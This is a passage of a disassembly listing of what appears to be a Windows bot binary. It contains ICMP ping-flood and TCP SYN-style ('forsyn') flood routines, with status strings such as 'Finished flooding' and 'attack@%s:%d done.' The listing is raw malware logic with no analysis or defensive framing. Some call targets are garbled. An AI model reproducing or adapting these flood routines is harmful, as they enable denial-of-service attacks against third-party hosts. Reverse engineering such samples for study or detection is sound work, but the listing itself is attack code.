near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A44 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27E0865h mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E150, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E154, eax call edi mov ecx, dword_50E150 mov dword_50E14C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E154 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64F9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E14C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E154 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DCF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E672F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D5Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E15C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E35C push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 278088Eh test eax, eax mov dword_50E360, eax jz short loc_426B9B push offset dword_446F74 push 5 push eax push 0 push offset dword_50E15C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D5Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax call near ptr 71AB2B66h nop push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64F9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx nop call near ptr 2850303h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R 